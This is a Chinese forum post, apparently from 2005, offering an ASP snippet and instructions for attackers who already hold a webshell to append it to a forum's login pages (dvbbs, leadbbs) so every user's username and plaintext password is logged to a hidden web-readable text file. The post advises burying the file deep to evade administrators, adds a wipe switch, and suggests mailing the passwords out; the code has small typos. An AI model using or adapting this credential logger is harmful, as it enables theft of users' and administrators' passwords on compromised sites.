设为首页收藏本站

银屑病病友互助网

 找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz

用asp记录论坛用户密码(dvbbs,leadbbs等)

[复制链接] 1
回复
2112
查看
打印 上一主题 下一主题
1#
跳转到指定楼层
分享到:
人生 发表于 2005-8-20 06:17:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多人在得到动网的数据库后郁闷不已
(呀的,管理员的变态密码让我们的机器跑砸了都没辙)
Now We Have Another Method!!!!!
这就是用asp记录明文密码。


用法:1.将此代码插入login.asp或admin_login.asp等等验证登陆的文件末尾即可。
2.将PATH换成web下可访问的路径,如:C:/Inetpub/wwwroot/.../Info.txt(info.txt的路径越深越好,防止admin发现)
3.你的webshell必须有权限修改文件且FileSystemObject可用。
4.一段时间后在IE上访问:http://.../Info.txt就 可以看到登录过的用户的帐号密码。
5.在IE上输http://.../(which your modified).asp?u=del可一清楚info.txt的内容。

注意:1.你可以为它添加其他功能,例如:已记录的用户不再重复记录,用邮件接收密码等等。
2.为了防止info.txt过大,我用清空info.txt的方法。
当然你可以新建文件来解决此问题。
if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if
--------------------------------------------------------------------
<%
dim fso
dim file
dim file2
dim filesize
dim file3
set fso=server.createobject("Scripting.FileSystemObject")
If Request("u")="del" Then
set file=fso.OpenTextFile(PATH,2,True)
file.WriteLine ""
End If
If fso.FileExists("ATH") Then
set file=fso.OpenTextFile(PATH,8,True)
Else
set file=fso.CreateTextFile(PATH)
end if
file.WriteLine "Username:"+Request.form("Username")
file.WriteLine "assword:"+Request.form("password")
file.close
set file3=fso.GetFile(PATH)
filesize=file3.size
if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if

set file=nothing
set file2=nothing
set filesize=nothing
set fso=nothing
%>
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 分享分享
2#
临窗听雨 发表于 2005-8-20 22:35:00 | 只看该作者
[em06]看不懂

使用高级回帖 (可批量传图、插入视频等)快速回复

您需要登录后才可以回帖 登录 | 加入我们

本版积分规则   Ctrl + Enter 快速发布  

发帖时请遵守我国法律,网站会将有关你发帖内容、时间以及发帖IP地址等记录保留,只要接到合法请求,即会将信息提供给有关政府机构。
快速回复 返回顶部 返回列表